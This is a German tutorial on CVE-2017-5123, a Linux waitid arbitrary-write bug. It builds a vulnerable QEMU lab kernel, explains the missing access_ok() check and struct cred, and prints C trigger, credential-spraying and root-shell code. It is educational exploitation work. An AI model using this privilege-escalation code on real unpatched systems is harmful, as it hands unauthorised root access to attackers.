
PoC CVE-2017-5123 - LPE - Umgehen von SMEP/SMAP. Kein KASLR
PoC CVE-2017-5123 - LPE - Umgehung von SMEP/SMAP. Kein KASLR
In dieser kleinen Abhandlung werde ich eine Kernel-Sicherheitslücke analysieren, die es uns ermöglicht, root-Rechte zu erlangen.
Diese Datei ist in vier Teile unterteilt:
Ich möchte darauf hinweisen, dass es viele bessere Möglichkeiten gibt, diese CVE auszunutzen (tatsächlich ist dies nur ein PoC zum Erlernen des Kernels und kann in freier Wildbahn nicht verwendet werden), aber ich denke, dass diese Methodik als Einführung in die Kernel-Ausnutzung nützlich sein kann.
Diese Schwachstelle wurde in 4c48abe91be0 eingeführt, daher müssen wir diese Kernel-Version bauen.
Das kann etwas knifflig sein, da es sich um eine alte Version handelt und der Code gepatcht werden sollte.
Ich habe ein Repository mit bereits gepatchtem Kernel-Code und einer .config-Datei erstellt, sodass Sie klonen und bauen können.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
Beachten Sie, dass dieser Kernel mit virtio-Treibern gebaut wird, sodass Sie virtio disk zum Teilen von Dateien zwischen Host und VM verwenden können.
Nun erstellen wir das initiale rootfs:
qemu-img create -f raw hda.raw 10G
# Formatieren der Festplatte zu ext4
mkfs.ext4 ./hda.raw
# Erstellen eines Mountpunkts für das Image
mkdir /tmp/mount1
# Einbinden der Festplatte
sudo mount -o loop ./hda.raw /tmp/mount1
Dann sollten wir eine grundlegende Linux-Distribution installieren, z.B. mit pacstrap oder debootstrap.
sudo pacstrap /tmp/mount1 base base-devel vim
Schließlich können wir das System anpassen:
# Hinzufügen eines 'test'-Benutzers
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# ohne Passwort
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# Wir können eine virtio-Festplatte mounten, um Dateien zwischen Host und Gast auszutauschen
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# Es ist nützlich, sudo-Berechtigung zu haben
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
Wenn alles in Ordnung ist, können wir nun unser Testsystem mit qemu ausprobieren:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
Die Beschreibung der CVE besagt, dass es während des Systemaufrufs waitid eine uneingeschränkte Schreiboperation gibt.
Öffnen wir kernel/exit.c und schauen uns den Code an:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
Diese Funktion ist recht einfach: Nach einigen Prüfungen gibt es verschiedene Aufrufe von unsafe_put_user(...) und die Funktion kehrt zurück.
Der Hauptteil dieser Funktion besteht aus der Funktion unsafe_put_user(...), also gehen wir dorthin (arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
Es gibt eine fette Warnung im Kommentar: Wenn Sie unsafe_put/get_user verwenden möchten, sollten Sie zuerst access_ok() aufrufen und sie mit user_access_begin/end() umschließen.
Wenn wir uns den vorherigen Code (waitid) ansehen, sehen wir, dass access_ok() nie aufgerufen wird, der Systemaufruf diese Warnung also verletzt.
Aber was sind diese Makros?
SMAP und SMEP sind zwei Sicherheitsfunktionen, die im Kernel eingeführt wurden, um das Schreiben von Exploits zu erschweren. Zu beachten ist, dass diese Funktionen von der CPU erzwungen werden.
SMEP verhindert die Ausführung von Userspace-Code, während sich die CPU im Supervisor-Modus befindet; SMAP blockiert den Lese-/Schreibzugriff auf den Benutzerspeicher.
Der Kernel muss Daten in den/vom Benutzerspeicher schreiben/lesen, und dies kann auf zwei Arten erfolgen:
copy_from_user), die das Kopieren des Speichers in den Kernelspace ermöglichen;Wie wir in der Definition von unsafe_put_user sehen können, kopiert diese Funktion nur den Wert von x in den Speicher, auf den ptr zeigt (und springt zu err_label, wenn ein Fehler auftrat). Wir haben gerade gesagt, dass der Kernel nicht auf Userspace zugreifen kann, weil SMAP vorhanden ist, und deshalb sollten diese Funktionen zwischen user_access_begin/end() eingeschlossen werden.
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
Wie wir sehen, sind user_access_begin/end einfach die ASM-Instruktionen stac und clac.
stac: "Setzt das AC-Flag-Bit im EFLAGS-Register. Dies kann die Ausrichtungsprüfung von User-Mode-Datenzugriffen aktivieren. Dies ermöglicht explizite Supervisor-Mode-Datenzugriffe auf User-Mode-Seiten, auch wenn das SMAP-Bit im CR4-Register gesetzt ist."clac: "Löscht das AC-Flag-Bit im EFLAGS-Register. Dadurch wird jede Ausrichtungsprüfung von User-Mode-Datenzugriffen deaktiviert. Wenn das SMAP-Bit im CR4-Register gesetzt ist, verhindert dies explizite Supervisor-Mode-Datenzugriffe auf User-Mode-Seiten."Im Grunde aktivieren/deaktivieren diese beiden Makros SMAP.
In unserer vorherigen "Warnung" wird auch die Funktion access_ok erwähnt:
/**
* access_ok: - Überprüft, ob ein Userspace-Zeiger gültig ist
* @type: Art des Zugriffs: %VERIFY_READ oder %VERIFY_WRITE. Beachten Sie, dass
* %VERIFY_WRITE eine Obermenge von %VERIFY_READ ist - wenn es sicher ist,
* in einen Block zu schreiben, ist es immer sicher, daraus zu lesen.
* @addr: Userspace-Zeiger auf den Anfang des zu überprüfenden Blocks
* @size: Größe des zu überprüfenden Blocks
*
* Kontext: Nur Benutzerkontext. Diese Funktion kann schlafen, wenn Seitenfehler
* aktiviert sind.
*
* Überprüft, ob ein Zeiger auf einen Speicherblock im Userspace gültig ist.
*
* Gibt true (ungleich Null) zurück, wenn der Speicherblock möglicherweise gültig ist,
* false (Null), wenn er definitiv ungültig ist.
*
* Beachten Sie, dass diese Funktion je nach Architektur wahrscheinlich nur
* überprüft, ob sich der Zeiger im Userspace-Bereich befindet - nach dem Aufrufen
* dieser Funktion können Speicherzugriffsfunktionen immer noch -EFAULT zurückgeben.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
Der Kommentar hier ist selbsterklärend: Dieses Makro prüft, ob der Zeiger ein gültiger Userspace-Zeiger ist.
Werfen wir noch einen Blick auf den waitid-Code:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
Wie Sie bereits vermutet haben, führt das Fehlen von access_ok() zu einem beliebigen Schreibzugriff überall im Speicher, da der infop-Zeiger vollständig vom Angreifer kontrolliert wird.
Es ist sehr einfach, den verwundbaren Pfad zu erreichen, und wir können einen Auslöser mit diesem einfachen Code erstellen:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Versuche, 0x%016lx zu überschreiben\r", where);
//int pid = fork(); // Es ist auch möglich, den fork-Systemaufruf zu verwenden
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // Wir sollten auf den Thread warten
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
Dieser einfache Code löst die Sicherheitslücke aus und schreibt in den Speicher, auf den die where-Adresse zeigt.
Wir können gdb verwenden, wenn wir diesen Auslöser überprüfen möchten. Beispielsweise können wir eine beliebige Adresse auswählen und die Funktion trigger_bug verwenden, um sie zu überschreiben.
Diese Sicherheitslücke kann auf verschiedene Weise ausgenutzt werden, aber ich bevorzuge einen sehr einfachen Ansatz.
Denken Sie daran, dass wir überall schreiben können, wo wir wollen, aber die geschriebenen Daten werden teilweise kontrolliert. Wir können eine Adresse mit 0 überschreiben.
Die grundlegende Idee ist, die UID unseres Prozesses zu überschreiben und root zu werden, aber wir müssen zuerst verstehen, was Anmeldeinformationen (Credentials) in Linux sind.
Wir beginnen mit einem Blick auf den fork-Systemaufruf. Diese Funktion wird verwendet, um neue Prozesse zu erstellen.
Wir können den Code in kernel/fork.c überprüfen:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
Der Systemaufruf fork ist also einfach ein Wrapper für _do_fork mit fest codierten Parametern.
Diese letzte Funktion ist etwas lang, aber wir können sie wie folgt zusammenfassen:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// Dies erzeugt eine weitere task_struct, startet den Prozess jedoch NICHT.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Weckt den neu erstellten Task auf. Dadurch wird der Task in den Zustand RUNNING versetzt und in die wartende Warteschlange eingereiht.
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
Diese Funktion ordnet ein neues task_struct-Objekt zu. Obwohl diese Struktur wirklich wichtig ist (sie beschreibt einen Prozess), werden wir uns auf das Feld cred konzentrieren:
...
/* Anmeldeinformationen des Prozesses: */
/* Anmeldeinformationen des Tracers beim Anhängen: */
const struct cred __rcu *ptracer_cred;
/* Objektive und reale subjektive Task-Anmeldeinformationen (COW): */
const struct cred __rcu *real_cred;
/* Effektive (überschreibbare) subjektive Task-Anmeldeinformationen (COW): */
const struct cred __rcu *cred;
...
Wie wir sehen, gibt es (drei) Zeiger auf struct cred. Schauen wir uns an, wie diese Struktur aufgebaut ist (include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* Anzahl der abonnierten Prozesse */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* echte UID des Tasks */
kgid_t gid; /* echte GID des Tasks */
kuid_t suid; /* gespeicherte UID des Tasks */
kgid_t sgid; /* gespeicherte GID des Tasks */
kuid_t euid; /* effektive UID des Tasks */
kgid_t egid; /* effektive GID des Tasks */
kuid_t fsuid; /* UID für VFS-Operationen */
kgid_t fsgid; /* GID für VFS-Operationen */
......
Wie wir sehen, ist die UID eines Prozesses einfach eine vorzeichenlose Ganzzahl (siehe Definition von kuid_t), also können wir diesen Wert einfach mit 0 überschreiben, um root zu werden.
Die task_struct-Struktur wird in der Funktion copy_process zugewiesen, die etwas komplex ist und deren Hauptziel darin besteht, den Prozess in einen neuen zu "kopieren".
Wir können uns auf copy_creds(p, clone_flags) konzentrieren, das wie folgt definiert ist:
/*
* Kopiert Anmeldeinformationen für den neuen Prozess, der durch fork() erstellt wurde
*
* Wir teilen, wenn möglich, aber unter bestimmten Umständen müssen wir einen neuen
* Satz generieren.
*
* Der neue Prozess erhält die subjektiven Anmeldeinformationen des aktuellen Prozesses als
* seine objektiven und subjektiven Anmeldeinformationen.
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
Wie wir sehen, ruft diese Funktion prepare_creds auf, wo die eigentliche Zuweisung erfolgt.
Wir haben nun einen Pfad, um eine (pseudo-)beliebige Anzahl von struct cred zuzuweisen:
_do_fork()copy_process()copy_creds()Unser letztes Problem ist, wie wir _do_fork() aus dem Userspace aufrufen können. Wir können fork verwenden, aber das kann langsam sein, daher werden wir stattdessen clone verwenden.
Hinweis: Wir können pthread nicht verwenden, wegen der Flags: Wenn Sie sich den Code von copy_creds ansehen, sollten Sie bemerken, dass es einen Pfad gibt, in dem die Struktur nicht wirklich zugewiesen wird.
Nun eine kleine Zusammenfassung:
0 in den Speicher schreiben können.0 überschreiben.Jetzt müssen wir wissen, wo wir in den Speicher schreiben müssen, und obwohl KASLR deaktiviert ist, ist die Adresse einer struct cred nicht stabil genug, also habe ich mich für Memory Spraying entschieden.
Wir müssen die struct cred im Speicher finden, um einen Adressbereich zu erkennen. Wir können gdb und python mit einem Skript wie diesem verwenden:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Fügen Sie hier Ihren ausführbaren Namen ein
if comm == "exploit":
print(task['cred'])
....
Hinweis: Dieses Skript funktioniert nur bei deaktiviertem KASLR und mit Debug-Symbolen (wir benötigen den init_task-Zeiger).
Wir können es einige Male versuchen und sehen, dass der Heap nach unten wächst, also können wir es mit einer niedrigeren Adresse versuchen und nach oben gehen.
Jetzt können wir den Systemaufruf clone verwenden, um viele Prozesse zu erzeugen, und mit gdb die Adressen überprüfen:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// Die spray_thread-Funktion kann einfach eine Endlosschleife sein
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Prozess erstellt: %d\r", x);
}
Hinweis: Möglicherweise können Sie nicht mehr als 4k Prozesse erzeugen. Überprüfen Sie ulimits, falls dies der Fall ist.
Schließlich können wir unseren PoC schreiben.
Es genügt, trigger_bug mit verschiedenen Adressen aufzurufen (die Struktur suchen), während unser erzeugter Thread seine UID überprüft, etwa so:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Gesprayter Thread
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Schleife über den getUID-Systemaufruf
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// Wenn die zurückgegebene UID von der vorherigen abweicht, haben wir einen struct cred-Bereich getroffen
if (uid != previous_one){
printf("WIN!! mit %d", uid);
// Beenden der anderen Threads, um das System zu stabilisieren
glob_var.one_win = 1;
// Einfach eine Shell starten
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
Es besteht eine Wahrscheinlichkeit von 50%, die Struktur zu treffen, sodass Sie nach einigen Durchläufen root-Rechte erlangen.

Dies ist ein (einfacher) PoC und das Spraying ist weit entfernt von perfekt. Dies ist nur eine "Einführung" in die erstaunliche Welt des Kernels, es gibt viele Konzepte, die ich übersprungen habe, die aber extrem wichtig sind (wie Speicherverwaltung). Wenn Sie tiefer studieren möchten, können Sie sich prepare_creds und die Speicherzuweisungen ansehen.
KASLR ist deaktiviert, aber diese Sicherheitslücke erlaubt es, diese Absicherung ebenfalls zu umgehen (unsafe_put_user stürzt bei ungültigen Adressen nicht ab), aber ich denke nicht, dass das Hinzufügen einer neuen "Brute-Force-Ebene" sinnvoll ist, wenn Ihr Ziel darin besteht, den Kernel zu erlernen. Wenn Ihr Ziel darin besteht, diese Sicherheitslücke in freier Wildbahn zu nutzen, sollten Sie einen anderen Exploit schreiben (zumindest ein anderes Spraying).
Denkanstoß: Ich habe diese Sicherheitslücke verwendet, um die ret2dir-Technik zu verstehen und auszuprobieren (Hinweis: Sie können den Schreibzugriff auf die Alias-Adresse auslösen und die Änderung mit der Userspace-Adresse lesen).